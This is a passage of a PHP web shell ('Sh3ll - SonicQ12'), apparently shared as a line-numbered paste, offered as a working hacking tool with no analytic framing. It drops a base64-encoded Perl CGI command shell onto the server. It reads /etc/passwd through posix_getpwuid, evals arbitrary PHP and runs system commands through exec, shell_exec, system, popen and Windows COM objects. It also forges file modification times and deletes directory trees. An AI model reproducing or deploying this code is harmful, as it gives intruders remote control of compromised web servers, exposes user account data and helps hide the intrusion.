sZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUKewoJJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCSZEb3dubG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQ==';
  2710. $cgi_file = 'izo.sonicq12';
  2711. $create_cgi = fopen($cgi_file, 'w+');
  2712. fwrite($create_cgi,base64_decode($cgi_code));
  2713. fclose($create_cgi);
  2714. chmod($cgi_file, 0755);
  2715. echo '<br />Open <a href="sonic/.htaccess" target="_blank">.Htaccess</a><br />';
  2716. echo 'Open <a href="sonic/izo.sonicq12" target="_blank"> Open CGI </a>';
  2717. }
  2719. elseif ($action == 'etcpwd') {
  2721. formhead(array('title'=>'Get /etc/passwd'));
  2723. makehide('action','etcpwd');
  2725. makehide('dir',$nowpath);
  2727. $i = 0;
  2729. echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  2731. while ($i < 60000) {
  2735. $line = posix_getpwuid($i);
  2737. if (!empty($line)) {
  2741. while (list ($key, $vba_etcpwd) = each($line)){
  2743. echo "".$vba_etcpwd."\n";
  2745. break;
  2747. }
  2751. }
  2755. $i++;
  2757. }
  2759. echo "</textarea></p>";
  2761. formfoot();
  2763. }
  2767. elseif ($action == 'eval') {
  2769. $phpcode = trim($phpcode);
  2771. if($phpcode){
  2773. if (!preg_match('#<\?#si', $phpcode)) {
  2775. $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  2777. }
  2779. eval("?".">$phpcode<?");
  2781. }
  2783. formhead(array('title'=>'Eval PHP Code'));
  2785. makehide('action','eval');
  2787. maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  2789. formfooter();
  2791. }
  2795. elseif ($action == 'editfile') {
  2797. if(file_exists($opfile)) {
  2799. $fp=@fopen($opfile,'r');
  2801. $contents=@fread($fp, filesize($opfile));
  2803. @fclose($fp);
  2805. $contents=htmlspecialchars($contents);
  2807. }
  2809. formhead(array('title'=>'Create / Edit File'));
  2811. makehide('action','file');
  2813. makehide('dir',$nowpath);
  2815. makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  2817. maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  2819. formfooter();
  2821. }
  2825. elseif ($action == 'newtime') {
  2827. $opfilemtime = @filemtime($opfile);
  2831. $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  2833. formhead(array('title'=>'Clone file was last modified time'));
  2835. makehide('action','file');
  2837. makehide('dir',$nowpath);
  2839. makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  2841. makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  2843. formfooter();
  2845. formhead(array('title'=>'Set last modified'));
  2847. makehide('action','file');
  2849. makehide('dir',$nowpath);
  2851. makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  2853. p('<p>Instead &raquo;');
  2855. p('year:');
  2857. makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  2859. p('month:');
  2861. makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  2863. p('day:');
  2865. makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  2867. p('hour:');
  2869. makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  2871. p('minute:');
  2873. makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  2875. p('second:');
  2877. makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  2879. p('</p>');
  2881. formfooter();
  2883. }
  2887. elseif ($action == 'shell') {
  2889. if (IS_WIN && IS_COM) {
  2891. if($program && $parameter) {
  2893. $shell= new COM('Shell.Application');
  2895. $a = $shell->ShellExecute($program,$parameter);
  2897. m('Program run has '.(!$a ? 'success' : 'fail'));
  2899. }
  2901. !$program && $program = 'c:\windows\system32\cmd.exe';
  2903. !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  2905. formhead(array('title'=>'Execute Program'));
  2907. makehide('action','shell');
  2909. makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  2911. p('<p>');
  2913. makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  2915. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  2917. p('</p>');
  2919. formfoot();
  2921. }
  2923. formhead(array('title'=>'Execute Command'));
  2925. makehide('action','shell');
  2927. if (IS_WIN && IS_COM) {
  2929. $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  2931. makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  2933. }
  2935. p('<p>');
  2937. makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  2939. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  2941. p('</p>');
  2943. formfoot();
  2947. if ($command) {
  2949. p('<hr width="100%" noshade /><pre>');
  2951. if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  2953. $wsh = new COM('WScript.shell');
  2955. $exec = $wsh->exec('cmd.exe /c '.$command);
  2957. $stdout = $exec->StdOut();
  2959. $stroutput = $stdout->ReadAll();
  2961. echo $stroutput;
  2963. } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  2965. $descriptorspec = array(
  2967. 0 => array('pipe', 'r'),
  2969. 1 => array('pipe', 'w'),
  2971. 2 => array('pipe', 'w')
  2973. );
  2975. $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  2977. if (is_resource($process)) {
  2979. fwrite($pipes[0], $command."\r\n");
  2981. fwrite($pipes[0], "exit\r\n");
  2983. fclose($pipes[0]);
  2985. while (!feof($pipes[1])) {
  2987. echo fgets($pipes[1], 1024);
  2989. }
  2991. fclose($pipes[1]);
  2993. while (!feof($pipes[2])) {
  2995. echo fgets($pipes[2], 1024);
  2997. }
  2999. fclose($pipes[2]);
  3001. proc_close($process);
  3003. }
  3005. } else {
  3007. echo(execute($command));
  3009. }
  3011. p('</pre>');
  3013. }
  3015. }
  3019. elseif ($action == 'phpenv') {
  3021. $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  3023. $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  3025. !$dis_func && $dis_func = 'No';
  3027. $info = array(
  3029. 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  3031. 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  3033. 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  3035. 4 => array('Server OS',PHP_OS),
  3037. 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  3039. 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  3041. 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  3043. 8 => array('PHP run mode',strtoupper(php_sapi_name())),
  3045. 9 => array('The file path',__FILE__),
  3049. 10 => array('PHP Version',PHP_VERSION),
  3051. 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  3053. 12 => array('Safe Mode',getcfg('safe_mode')),
  3055. 13 => array('Administrator',$adminmail),
  3057. 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  3059. 15 => array('enable_dl',getcfg('enable_dl')),
  3061. 16 => array('display_errors',getcfg('display_errors')),
  3063. 17 => array('register_globals',getcfg('register_globals')),
  3065. 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  3067. 19 => array('memory_limit',getcfg('memory_limit')),
  3069. 20 => array('post_max_size',getcfg('post_max_size')),
  3071. 21 => array('upload_max_filesize',$upsize),
  3073. 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  3075. 23 => array('disable_functions',$dis_func),
  3077. );
  3081. if($phpvarname) {
  3083. m($phpvarname .' : '.getcfg($phpvarname));
  3085. }
  3089. formhead(array('title'=>'Server environment'));
  3091. makehide('action','phpenv');
  3093. makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  3095. formfooter();
  3099. $hp = array(0=> 'Server', 1=> 'PHP');
  3101. for($a=0;$a<2;$a++) {
  3103. p('<h2>'.$hp[$a].' &raquo;</h2>');
  3105. p('<ul class="info">');
  3107. if ($a==0) {
  3109. for($i=1;$i<=9;$i++) {
  3111. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  3113. }
  3115. } elseif ($a == 1) {
  3117. for($i=10;$i<=23;$i++) {
  3119. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  3121. }
  3123. }
  3125. p('</ul>');
  3127. }
  3129. }
  3133. else {
  3135. m('Undefined Action');
  3137. }
  3141. ?>
  3143. </td></tr></table>
  3145. <div style="padding:10px;">
  3147. <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  3149. Copyright (C) 2013/2014 Developed by <font title="SonicQ12">SonicQ12</font>
  3151. </div>
  3153. </body>
  3155. </html>
  3159. <?php
  3164. function m($msg) {
  3166. echo '<div style="background:#00b000;border:1px solid #006700;padding:15px;font:14px;color:#ffffff;text-align:center;font-weight:bold;">';
  3168. echo $msg;
  3170. echo '</div>';
  3172. }
  3174. function scookie($key, $value, $life = 0, $prefix = 1) {
  3176. //global $admin, $timestamp, $_SERVER;
  3178. //$key = ($prefix ? $admin['cookiepre'] : '').$key;
  3180. //$life = $life ? $life : $admin['cookielife'];
  3182. //$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  3184. $_SESSION[$key] = $value;
  3186. //setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  3188. }
  3190. function multi($num, $perpage, $curpage, $tablename) {
  3192. $multipage = '';
  3194. if($num > $perpage) {
  3196. $page = 10;
  3198. $offset = 5;
  3200. $pages = @ceil($num / $perpage);
  3202. if($page > $pages) {
  3204. $from = 1;
  3206. $to = $pages;
  3208. } else {
  3210. $from = $curpage - $offset;
  3212. $to = $curpage + $page - $offset - 1;
  3214. if($from < 1) {
  3216. $to = $curpage + 1 - $from;
  3218. $from = 1;
  3220. if(($to - $from) < $page && ($to - $from) < $pages) {
  3222. $to = $page;
  3224. }
  3226. } elseif($to > $pages) {
  3228. $from = $curpage - $pages + $to;
  3230. $to = $pages;
  3232. if(($to - $from) < $page && ($to - $from) < $pages) {
  3234. $from = $pages - $page + 1;
  3236. }
  3238. }
  3240. }
  3242. $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  3244. for($i = $from; $i <= $to; $i++) {
  3246. $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  3248. }
  3250. $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  3252. $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  3254. }
  3256. return $multipage;
  3258. }
  3262. function loginpage() {
  3263. ?>
  3264. <html>
  3265. <head>
  3266. <link rel="icon" href="http://thumbs.dreamstime.com/thumb_411/12455464854iEKQ2.jpg" type="image/x-icon">
  3267. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  3268. <title>Sh3ll - SonicQ12</title>
  3269. <script type="text/javascript">
  3270. var adfly_id = 6099598;
  3271. var adfly_advert = 'int';
  3272. var frequency_cap = 5;
  3273. var frequency_delay = 5;
  3274. var init_delay = 3;
  3275. </script>
  3276. <script src="https://cdn.adf.ly/js/entry.js"></script>
  3277. <style type="text/css">
  3278. body{
  3279. color: #00FF00;
  3280. }
  3281. A:link {text-decoration: none; color: green }
  3282. A:visited {text-decoration: none;color:#00FF00}
  3283. A:active {text-decoration: none}
  3284. A:hover {text-decoration: underline; color: green;}
  3285. input, textarea, button{
  3286. font-size: 9pt;
  3287. color: #00FF00;
  3288. font-family: verdana, sans-serif;
  3289. background-color: #202020;
  3290. border-left: 1px solid #00FF00;
  3291. border-top: 1px solid #00FF00;
  3292. border-right: 1px solid #00FF00;
  3293. border-bottom: 1px solid #00FF00;
  3294. }
  3295. div{
  3296. border-style: dotted solid;
  3297. box-shadow: 2px 3px green;
  3298. }
  3299. </style>
  3300. </head>
  3301. <body bgcolor=black>
  3302. <center>
  3303. <form method="POST">
  3304. <div style="width: 350px;">
  3305. <table>
  3306. <tr><td align="center" colspan="2"> [ ACCESS DENIED ] </td></tr>
  3307. <tr><td align="center">Your IP: </td><td align="center"><?=$_SERVER['REMOTE_ADDR']?></td></tr>
  3308. <tr><td align="center">Password: </td><td align="center"><input type="password" name="password" /></td></tr>
  3309. <tr><td colspan="2" align="right"><input type="hidden" name="login" value="login"/><input type="submit" value="Login"/></td></tr>
  3310. </table>
  3311. </div>
  3312. </form>
  3313. </center>
  3314. </body>
  3315. </html>
  3316. <?php
  3317. exit;
  3318. }
  3322. function execute($cfe) {
  3324. $res = '';
  3326. if ($cfe) {
  3328. if(function_exists('exec')) {
  3330. @exec($cfe,$res);
  3332. $res = join("\n",$res);
  3334. } elseif(function_exists('shell_exec')) {
  3336. $res = @shell_exec($cfe);
  3338. } elseif(function_exists('system')) {
  3340. @ob_start();
  3342. @system($cfe);
  3344. $res = @ob_get_contents();
  3346. @ob_end_clean();
  3348. } elseif(function_exists('passthru')) {
  3350. @ob_start();
  3352. @passthru($cfe);
  3354. $res = @ob_get_contents();
  3356. @ob_end_clean();
  3358. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  3360. $res = '';
  3362. while(!@feof($f)) {
  3364. $res .= @fread($f,1024);
  3366. }
  3368. @pclose($f);
  3370. }
  3372. }
  3374. return $res;
  3376. }
  3378. function which($pr) {
  3380. $path = execute("which $pr");
  3382. return ($path ? $path : $pr);
  3384. }
  3388. function cf($fname,$text){
  3390. if($fp=@fopen($fname,'w')) {
  3392. @fputs($fp,@base64_decode($text));
  3394. @fclose($fp);
  3396. }
  3398. }
  3404. function debuginfo() {
  3406. global $starttime;
  3408. $mtime = explode(' ', microtime());
  3410. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  3412. echo 'Processed in '.$totaltime.' second(s)';
  3414. }
  3420. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  3422. if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  3424. p('<h2>Can not connect to MySQL server</h2>');
  3426. exit;
  3428. }
  3430. if($link && $dbname) {
  3432. if (!@mysql_select_db($dbname, $link)) {
  3434. p('<h2>Database selected has error</h2>');
  3436. exit;
  3438. }
  3440. }
  3442. if($link && mysql_get_server_info() > '4.1') {
  3444. if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  3446. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  3448. }
  3450. }
  3452. return $link;
  3454. }
  3460. function s_array(&$array) {
  3462. if (is_array($array)) {
  3464. foreach ($array as $k => $v) {
  3466. $array[$k] = s_array($v);
  3468. }
  3470. } else if (is_string($array)) {
  3472. $array = stripslashes($array);
  3474. }
  3476. return $array;
  3478. }
  3484. function html_clean($content) {
  3486. $content = htmlspecialchars($content);
  3488. $content = str_replace("\n", "<br />", $content);
  3490. $content = str_replace(" ", "&nbsp;&nbsp;", $content);
  3492. $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  3494. return $content;
  3496. }
  3502. function getChmod($filepath){
  3504. return substr(base_convert(@fileperms($filepath),10,8),-4);
  3506. }
  3510. function getPerms($filepath) {
  3512. $mode = @fileperms($filepath);
  3514. if (($mode & 0xC000) === 0xC000) {$type = 's';}
  3516. elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  3518. elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  3520. elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  3522. elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  3524. elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  3526. elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  3528. else {$type = '?';}
  3532. $owner['read'] = ($mode & 00400) ? 'r' : '-';
  3534. $owner['write'] = ($mode & 00200) ? 'w' : '-';
  3536. $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  3538. $group['read'] = ($mode & 00040) ? 'r' : '-';
  3540. $group['write'] = ($mode & 00020) ? 'w' : '-';
  3542. $group['execute'] = ($mode & 00010) ? 'x' : '-';
  3544. $world['read'] = ($mode & 00004) ? 'r' : '-';
  3546. $world['write'] = ($mode & 00002) ? 'w' : '-';
  3548. $world['execute'] = ($mode & 00001) ? 'x' : '-';
  3552. if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  3554. if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  3556. if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  3560. return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  3562. }
  3566. function getUser($filepath) {
  3568. if (function_exists('posix_getpwuid')) {
  3570. $array = @posix_getpwuid(@fileowner($filepath));
  3572. if ($array && is_array($array)) {
  3574. return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  3576. }
  3578. }
  3580. return '';
  3582. }
  3588. function deltree($deldir) {
  3590. $mydir=@dir($deldir);
  3592. while($file=$mydir->read()) {
  3594. if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  3596. @chmod($deldir.'/'.$file,0777);
  3598. deltree($deldir.'/'.$file);
  3600. }
  3602. if (is_file($deldir.'/'.$file)) {
  3604. @chmod($deldir.'/'.$file,0777);
  3606. @unlink($deldir.'/'.$file);
  3608. }
  3610. }
  3612. $mydir->close();
  3614. @chmod($deldir,0777);
  3616. return @rmdir($deldir) ? 1 : 0;
  3618. }
  3624. function bg() {
  3626. global $bgc;
  3628. return ($bgc++%2==0) ? 'alt1' : 'alt2';
  3630. }
  3636. function getPath($scriptpath, $nowpath) {
  3638. if ($nowpath == '.') {
  3640. $nowpath = $scriptpath;
  3642. }
  3644. $nowpath = str_replace('\\', '/', $nowpath);
  3646. $nowpath = str_replace('//', '/', $nowpath);
  3648. if (substr($nowpath, -1) != '/') {
  3650. $nowpath = $nowpath.'/';
  3652. }
  3654. return $nowpath;
  3656. }
  3662. function getUpPath($nowpath) {
  3664. $pathdb = explode('/', $nowpath);
  3666. $num = count($pathdb);
  3668. if ($num > 2) {
  3670. unset($pathdb[$num-1],$pathdb[$num-2]);
  3672. }
  3674. $uppath = implode('/', $pathdb).'/';
  3676. $uppath = str_replace('//', '/', $uppath);
  3678. return $uppath;
  3680. }
  3686. function getcfg($varname) {
  3688. $result = get_cfg_var($varname);
  3690. if ($result == 0) {
  3692. return 'No';
  3694. } elseif ($result == 1) {
  3696. return 'Yes';
  3698. } else {
  3700. return $result;
  3702. }
  3704. }
  3710. function getfun($funName) {
  3712. return (false !== function_exists($funName)) ? 'Yes' : 'No';
  3714. }
  3718. function GetList($dir){
  3720. global $dirdata,$j,$nowpath;
  3722. !$j && $j=1;
  3724. if ($dh = opendir($dir)) {
  3726. while ($file = readdir($dh)) {
  3728. $f=str_replace('//','/',$dir.'/'.$file);
  3730. if($file!='.' && $file!='..' && is_dir($f)){
  3732. if (is_writable($f)) {
  3734. $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  3736. $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  3738. $dirdata[$j]['dirchmod']=getChmod($f);
  3740. $dirdata[$j]['dirperm']=getPerms($f);
  3742. $dirdata[$j]['dirlink']=ue($dir);
  3744. $dirdata[$j]['server_link']=$f;
  3746. $dirdata[$j]['client_link']=ue($f);
  3748. $j++;
  3750. }
  3752. GetList($f);
  3754. }
  3756. }
  3758. closedir($dh);
  3760. clearstatcache();
  3762. return $dirdata;
  3764. } else {
  3766. return array();
  3768. }
  3770. }
  3774. function qy($sql) {
  3778. $res = $error = '';
  3780. if(!$res = @mysql_query($sql)) {
  3782. return 0;
  3784. } else if(is_resource($res)) {
  3786. return 1;
  3788. } else {
  3790. return 2;
  3792. }
  3794. return 0;
  3796. }
  3800. function q($sql) {
  3802. return @mysql_query($sql);
  3804. }
  3808. function fr($qy){
  3810. mysql_free_result($qy);
  3812. }
  3816. function sizecount($size) {
  3818. if($size > 1073741824) {
  3820. $size = round($size / 1073741824 * 100) / 100 . ' G';
  3822. } elseif($size > 1048576) {
  3824. $size = round($size / 1048576 * 100) / 100 . ' M';
  3826. } elseif($size > 1024) {
  3828. $size = round($size / 1024 * 100) / 100 . ' K';
  3830. } else {
  3832. $size = $size . ' B';
  3834. }
  3836. return $size;
  3838. }
  3844. class PHPZip{
  3846. var $out='';
  3848. function PHPZip($dir) {
  3850. if (@function_exists('gzcompress')) {
  3852. $curdir = getcwd();
  3854. if (is_array($dir)) $filelist = $dir;
  3856. else{
  3858. $filelist=$this -> GetFileList($dir);
  3860. foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  3862. }
  3864. if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  3866. else chdir($curdir);
  3868. if (count($filelist)>0){
  3870. foreach($filelist as $filename){
  3872. if (is_file($filename)){
  3874. $fd = fopen ($filename, 'r');
  3876. $content = @fread ($fd, filesize($filename));
  3878. fclose ($fd);
  3880. if (is_array($dir)) $filename = basename($filename);
  3882. $this -> addFile($content, $filename);
  3884. }
  3886. }
  3888. $this->out = $this -> file();
  3890. chdir($curdir);
  3892. }
  3894. return 1;
  3896. }
  3898. else return 0;
  3900. }
  3906. function GetFileList($dir){
  3908. static $a;
  3910. if (is_dir($dir)) {
  3912. if ($dh = opendir($dir)) {
  3914. while ($file = readdir($dh)) {
  3916. if($file!='.' && $file!='..'){
  3918. $f=$dir .'/'. $file;
  3920. if(is_dir($f)) $this->GetFileList($f);
  3922. $a[]=$f;
  3924. }
  3926. }
  3928. closedir($dh);
  3930. }
  3932. }
  3934. return $a;
  3936. }
  3940. var $datasec = array();
  3942. var $ctrl_dir = array();
  3944. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  3946. var $old_offset = 0;
  3950. function unix2DosTime($unixtime = 0) {
  3952. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  3954. if ($timearray['year'] < 1980) {
  3956. $timearray['year'] = 1980;
  3958. $timearray['mon'] = 1;
  3960. $timearray['mday'] = 1;
  3962. $timearray['hours'] = 0;
  3964. $timearray['minutes'] = 0;
  3966. $timearray['seconds'] = 0;
  3968. }
  3970. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  3972. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  3974. }
  3978. function addFile($data, $name, $time = 0) {
  3980. $name = str_replace('\\', '/', $name);
  3984. $dtime = dechex($this->unix2DosTime($time));
  3986. $hexdtime = '\x' . $dtime[6] . $dtime[7]
  3988. . '\x' . $dtime[4] . $dtime[5]
  3990. . '\x' . $dtime[2] . $dtime[3]
  3992. . '\x' . $dtime[0] . $dtime[1];
  3994. eval('$hexdtime = "' . $hexdtime . '";');
  3996. $fr = "\x50\x4b\x03\x04";
  3998. $fr .= "\x14\x00";
  4000. $fr .= "\x00\x00";
  4002. $fr .= "\x08\x00";
  4004. $fr .= $hexdtime;
  4008. $unc_len = strlen($data);
  4010. $crc = crc32($data);
  4012. $zdata = gzcompress($data);
  4014. $c_len = strlen($zdata);
  4016. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  4018. $fr .= pack('V', $crc);
